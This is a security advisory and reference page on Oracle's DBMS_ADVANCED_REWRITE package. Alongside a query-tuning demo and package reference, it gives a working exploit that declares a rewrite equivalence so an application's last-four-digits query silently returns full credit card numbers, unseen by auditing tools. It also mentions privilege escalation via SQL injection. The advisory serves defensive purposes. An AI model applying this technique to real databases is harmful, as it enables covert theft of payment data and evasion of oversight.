DBSecWorx: DBMS_ADVANCED

Oracle DBMS_ADVANCED_REWRITE Built-In Package Versions 10.1 - 21c

Security Advisory

The Oracle built-in PL/SQL package DBMS_ADVANCED_REWRITE can be used to invisibly circumvent what appears to be security and can be used to make the results of a pentest nothing short of laughable. This is why, as you will clearly see in the demo below, penetration testing has value at the network level but is of little or no value once the perimeter is penetrated and the only defensive layer left is the database itself.

Note also that products like Database Firewall, Audit Vault, etc. are unlikely to observe the vulnerability demonstrated here.

Recommended Security Rules

NEVER

Grant EXECUTE on this package to any user unless for a very specific purpose and the privilege should be immediately revoked after that activity is completed.
Immediately, as used here, means it should be granted for no more than a few minutes which is all of the time required to use this package for a valid purpose.

WITH GREAT CARE

Query the data dictionary after the privilege has been revoked to verify the equivalence created is the equivalence approved by IT management and your CISO.

CAUTIONS

Be wary of any request for EXECUTE privilege for this package. The request, except to implement a known solution to a known performance issue is highly suspicious and should be treated accordingly.

How Oracle Works

How Oracle imagined this package would be used In the following example we demonstrate how an innocuous SQL statement written with an INTERSECT can be improved replaced by an equivalent statement using EXISTS that provides vastly improved performance. conn sys as sysdba@pdbdev This is the existing SQL statement that we have decided is too cpu intensive and is built into an application from a third party vendor and they won't fix their "bad" code. SQL> SELECT srvr_id FROM uwclass.servers INTERSECT SELECT srvr_id FROM uwclass.serv_inst; SRVR_ID -------- 2 3 5 12 14 501 502 503 504 505 506 11 rows selected. As you can see the query returns 11 ordered rows. Here is the "good" SQL statement we want to use to replace it. SQL> SELECT srvr_id FROM uwclass.servers s WHERE EXISTS (SELECT srvr_id FROM uwclass.serv_inst i WHERE s.srvr_id = i.srvr_id); SRVR_ID -------- 2 3 5 12 14 501 502 503 504 505 506 11 rows selected. As you can see it returns the exact same 11 rows in the same order so they are equivalent. When we compare the explain plans we see that our rewrite reduces cpu utilization by 50%. First the "bad" with the INTERSECT than the "good" with EXISTS. EXPLAIN PLAN FOR SELECT srvr_id FROM uwclass.servers INTERSECT SELECT srvr_id FROM uwclass.serv_inst; set linesize 121 SELECT * FROM TABLE(dbms_xplan.display); PLAN_TABLE_OUTPUT --------------------------------------------------------------------------- Plan hash value: 308464373 --------------------------------------------------------------------------- | Id | Operation | Name | Rows | Bytes | Cost (%CPU)| --------------------------------------------------------------------------- | 0 | SELECT STATEMENT | | 141 | 4560 | 6 (34)| | 1 | INTERSECTION | | | | | | 2 | SORT UNIQUE NOSORT | | 141 | 564 | 2 (50)| | 3 | INDEX FULL SCAN | PK_SERVERS | 141 | 564 | 1 (0)| | 4 | SORT UNIQUE | | 999 | 3996 | 4 (25)| | 5 | INDEX FAST FULL SCAN | PK_SERV_INST | 999 | 3996 | 3 (0)| --------------------------------------------------------------------------- EXPLAIN PLAN FOR SELECT srvr_id FROM uwclass.servers s WHERE EXISTS ( SELECT srvr_id FROM uwclass.serv_inst i WHERE s.srvr_id = i.srvr_id); PLAN_TABLE_OUTPUT ------------------------------------------------------------------------ Plan hash value: 728010459 ------------------------------------------------------------------------ | Id | Operation | Name | Rows | Bytes | Cost (%CPU)| ------------------------------------------------------------------------ | 0 | SELECT STATEMENT | | 11 | 88 | 6 (17)| | 1 | NESTED LOOPS | | 11 | 88 | 6 (17)| | 2 | SORT UNIQUE | | 999 | 3996 | 5 (0)| | 3 | INDEX FULL SCAN | PK_SERV_INST | 999 | 3996 | 5 (0)| | *4 | INDEX UNIQUE SCAN | PK_SERVERS | 1 | 4 | 0 (0)| ------------------------------------------------------------------------ You should also note that the optimizer miscalculates the number of rows returned by the "bad" SQL. The query returns 11 rows, not 141. Note to Oracle Corp. I've been pointing this out to you for more than 19 years. So, since we cannot get the vendor to fix their code and it is embedded in their application we use Advanced Rewrite to replace to inferior statement with the superior statement. BEGIN dbms_advanced_rewrite.declare_rewrite_equivalence('UW', 'SELECT srvr_id FROM uwclass.servers INTERSECT SELECT srvr_id FROM uwclass.serv_inst', 'SELECT srvr_id FROM uwclass.servers s WHERE EXISTS (SELECT srvr_id FROM uwclass.serv_inst i WHERE s.srvr_id = i.srvr_id)', TRUE, 'TEXT_MATCH'); END; / The source and destination statements are stored in sys.sum$ in the SRC_STMT and DEST_STMT colums and can more easily be reviewed with the following query. SELECT * FROM user_rewrite_equivalences; So, now that we have the equivalence created let's see what happens when the application runs the "bad" statement. We cannot look at the results as they will be identical so we will examine the Explain Plan. EXPLAIN PLAN FOR SELECT srvr_id FROM uwclass.servers INTERSECT SELECT srvr_id FROM uwclass.serv_inst; SELECT * FROM TABLE(dbms_xplan.display); PLAN_TABLE_OUTPUT ------------------------------------------------------------------------ Plan hash value: 728010459 ------------------------------------------------------------------------ | Id | Operation | Name | Rows | Bytes | Cost (%CPU)| ------------------------------------------------------------------------ | 0 | SELECT STATEMENT | | 11 | 88 | 6 (17)| | 1 | NESTED LOOPS | | 11 | 88 | 6 (17)| | 2 | SORT UNIQUE | | 999 | 3996 | 5 (0)| | 3 | INDEX FULL SCAN | PK_SERV_INST | 999 | 3996 | 5 (0)| | *4 | INDEX UNIQUE SCAN | PK_SERVERS | 1 | 4 | 0 (0)| ------------------------------------------------------------------------ Predictably, Oracle technology works and we get the nested loop and the lower cpu utilization. To remove an existing equivalency again use the DBMS_ADVANCED_REWRITE package. exec dbms_advanced_rewrite.drop_rewrite_equivalence ('UW'); As we said at the beginning of this demo ... this is how Oracle Corp. envisioned this capability being used.

An exploit that takes advantage of this package to end-run security, testing, and auditing. The problem with good intentions, whether Oracle's or yours is that state actors and organized crime families look at every syntax and every tool and try to find a weakness that can be exploited. This package encapsulates, as you will see in the following demo, a very substantial vulnerability. CREATE TABLE uwclass.credit_card ( ccno VARCHAR2(19), cc_final4 VARCHAR2(4), -- has only the final 4 digits of the credit card number cc_expdate DATE, cc_ccv NUMBER(4)); INSERT INTO uwclass.credit_card (ccno, cc_final4, cc_expdate, cc_ccv) VALUES ('4370-1234-5678-0042', '0042', SYSDATE, '9584'); INSERT INTO uwclass.credit_card (ccno, cc_final4, cc_expdate, cc_ccv) VALUES ('3704-4321-8765-1950', '1950', SYSDATE, '1661'); COMMIT; This is what we want application users to see: Only the final four numbers of the credit card. SELECT cc_final4 FROM uwclass.credit_card; CC_F ---- 0042 1950 This is what an organized crime family wants to see, the full credit card number. SELECT ccno FROM uwclass.credit_card; CCNO ------------------- 4370-1234-5678-0042 3704-4321-8765-1950 It takes only this much code to compromise the application's built-in security and it will be invisible to DBAs and every security tool you have deployed to date. Why? Because security tools look at the SQL that was sent to the database ... not what the optimizer actually executed. SQL> BEGIN 2 dbms_advanced_rewrite.declare_rewrite_equivalence( 3 'UW', 4 'SELECT cc_final4 FROM uwclass.credit_card', 5 'SELECT ccno FROM uwclass.credit_card', 6 FALSE, 7 'RECURSIVE'); 8 END; 9 / PL/SQL procedure successfully completed. When the application's SQL statement asking for the final 4 digits in the credit card is run SQL> SELECT cc_final4 FROM uwclass.credit_card; The results returned are of the entire credit card number CC_FINAL4 ------------------- 4370-1234-5678-0042 3704-4321-8765-1950 Yes, this exploit requires the EXECUTE privilege on the DBMS_ADVANCED_REWRITE package but that should give you no comfort. History has clearly demonstrated that those already possessing that privilege are not immune from temptation and blackmail. Neither is it especially difficult using SQL Injection and other techniques to escalate privileges to accomplish this attack. One example, the GLOGIN attack on our exploits page could be used to grant the necessary object privilege.

DBMS_ADVANCED_REWRITE Package Information

AUTHID CURRENT_USER

Character Set The character set must be set to WE8ISO8859P1 for this feature to work in some versions

Dependencies

ALL_REWRITE_EQUIVALENCES	DBMS_STANDARD	DBMS_UTILITY
DBA_REWRITE_EQUIVALENCES	DBMS_SYS_ERROR	SUM$
DBMS_RWEQUIV_LIB

Documented in Types & Packages Yes

Exceptions

Error Code	Reason
ORA-30354	Query rewrite not allowed on SYS relations
ORA-30388	Name of the rewrite equivalence is not specified
ORA-30389	The source statement is not compatible with the destination statement
ORA-30391	The specified rewrite equivalence does not exist
ORA-30392	The checksum analysis for the rewrite equivalence failed
ORA-30393	A query block in the statement did not rewrite
ORA-30394	Source statement identical to the destination statement
ORA-30396	Rewrite equivalence procedures require the COMPATIBLE parameter to be set to 10.1 or greater

First Available 10.1

Modes

Value	Description
disabled	Query rewrite does not use the equivalence declaration. Use this mode to temporarily disable use of the rewrite equivalence declaration.
general	Query rewrite uses the equivalence declaration in all of its transformation modes against the incoming request queries. However, query rewrite makes no attempt to rewrite the specified destination_query.
recursive	Query rewrite uses the equivalence declaration in all of its transformation modes against the incoming request queries. Moreover, query rewrite further attempts to rewrite the specified destination_query for further performance enhancements whenever it uses the equivalence declaration.
text_match	Query rewrite uses the equivalence declaration only in its text match modes. This mode is useful for simple transformations.

Security Model Owned by SYS with no privileges granted

The following changes may be required to grant EXECUTE on this package to a named user or application depending upon usage.
GRANT execute ON dbms_advanced_rewrite TO uwclass; GRANT create materialized view TO uwclass; CREATE SYNONYM dbms_advanced_rewrite FOR sys.dbms_advanced_rewrite;

Source {ORACLE_HOME}/rdbms/admin/prvtxrmv.plb

Startup Parameters ALTER SYSTEM SET query_rewrite_integrity = <'TRUSTED' | 'STALE_TOLERATED'> SCOPE=<BOTH | MEMORY | SPFILE>;

set linesize 121

      col name format a30

      col value format a30

      

      SELECT name, value

      FROM gv$parameter

      WHERE name LIKE '%rewrite%';

      

      ALTER SYSTEM SET query_rewrite_integrity = 'TRUSTED'

      COMMENT='Permanent Change To System Configuration'

      SID='*'

      SCOPE=BOTH;

      

      SELECT name, value

      FROM gv$parameter

      WHERE name LIKE '%rewrite%';

      

      -- the 10g through 12cR1 default is ENFORCED which is not compatible.

Subprograms

ALTER_REWRITE_EQUIVALENCE	DECLARE_REWRITE_EQUIVALENCE	VALIDATE_REWRITE_EQUIVALENCE
BUILD_SAFE_REWRITE_EQUIVALENCE	DROP_REWRITE_EQUIVALENCE

ALTER_REWRITE_EQUIVALENCE

Changes the mode of the rewrite equivalence declaration to the mode specified dbms_advanced_rewrite.alter_rewrite_equivalence( name IN VARCHAR2, rewrite_mode IN VARCHAR2);

exec dbms_advanced_rewrite.alter_rewrite_equivalence('UW', 'DISABLED');

BUILD_SAFE_REWRITE_EQUIVALENCE

Enables the rewrite of top-level materialized views using sub-materialized views dbms_advanced_rewrite.build_safe_rewrite_equivalence( name IN VARCHAR2, source_stmt IN CLOB, destination_stmt IN CLOB, check_sum IN BINARY_INTEGER);

TBD

Warning: This procedure enables the rewrite and refresh of top-level materialized views using submaterialized views. It is provided for the exclusive use by scripts generated by the DBMS_ADVISOR.TUNE_MVIEW procedure. It is required to enable query rewrite and fast refresh when DBMS_ADVISOR.TUNE_MVIEW decomposes a materialized view into a top-level materialized view and one or more submaterialized views.

Oracle does not recommend you directly use the BUILD_SAFE_REWRITE_EQUIVALENCE procedure. You should use either the DBMS_ADVISOR.TUNE_MVIEW or the DBMS_ADVANCED_REWRITE.CREATE_REWRITE_EQUIVALENCE procedure as appropriate.

DECLARE_REWRITE_EQUIVALENCE

Creates a declaration indicating that source_stmt is functionally equivalent to destination_stmt for as long as the equivalence declaration remains enabled dbms_advanced_rewrite.declare_rewrite_equivalence ( name VARCHAR2, source_stmt CLOB, destination_stmt CLOB, validate BOOLEAN := TRUE, rewrite_mode VARCHAR2 := 'TEXT_MATCH');

conn sys as sysdba@pdbdev

      

      GRANT execute on dbms_advanced_rewrite TO uwclass;

      GRANT create materialized view TO uwclass;

      

      CREATE OR REPLACE PUBLIC SYNONYM dbms_advanced_rewrite

      FOR dbms_advanced_rewrite;

      

      conn uwclass/uwclass@pdbdev

      

      -- click here
       to download demo test data and save to c:\temp

      -- create the demo tables and data by running servers.sql

      

      SQL> @c:\temp\servers.sql

      

      EXPLAIN PLAN FOR

      SELECT srvr_id FROM uwclass.servers INTERSECT SELECT srvr_id FROM uwclass.serv_inst;

      

      set linesize 121

      

      SELECT * FROM TABLE(dbms_xplan.display);

      

      EXPLAIN PLAN FOR

      SELECT srvr_id

      FROM uwclass.servers s

      WHERE EXISTS (

        SELECT srvr_id

        FROM uwclass.serv_inst i

        WHERE s.srvr_id = i.srvr_id);

      

      SELECT * FROM TABLE(dbms_xplan.display);

      

      BEGIN

        dbms_advanced_rewrite.declare_rewrite_equivalence('UW',

      'SELECT srvr_id FROM uwclass.servers INTERSECT SELECT srvr_id FROM uwclass.serv_inst',

      'SELECT srvr_id FROM uwclass.servers s WHERE EXISTS (SELECT srvr_id FROM uwclass.serv_inst i WHERE s.srvr_id = i.srvr_id)',

       TRUE,

      'TEXT_MATCH');

      END;

      /

      

      SELECT *

      FROM user_rewrite_equivalences;

      

      EXPLAIN PLAN

      SET STATEMENT_ID = 'AFTER'

      FOR

      SELECT srvr_id FROM uwclass.servers

      INTERSECT

      SELECT srvr_id FROM uwclass.serv_inst;

      

      SELECT * FROM TABLE(dbms_xplan.display);

      

      exec  dbms_advanced_rewrite.drop_rewrite_equivalence ('UW');

      

      EXPLAIN PLAN

      SET STATEMENT_ID = 'AFTER'

      FOR

      SELECT srvr_id FROM servers

      INTERSECT

      SELECT srvr_id FROM serv_inst;

      

      SELECT * FROM TABLE(dbms_xplan.display);

DROP_REWRITE_EQUIVALENCE

Drops the specified rewrite equivalence declaration dbms_advanced_rewrite.drop_rewrite_equivalence(name IN VARCHAR2);

exec dbms_advanced_rewrite.drop_rewrite_equivalence('UW');

VALIDATE_REWRITE_EQUIVALENCE

Validates the rewrite equivalence declaration using the specified mode dbms_advanced_rewrite.validate_rewrite_equivalence(name IN VARCHAR2);

exec dbms_advanced_rewrite.validate_rewrite_equivalence('UW');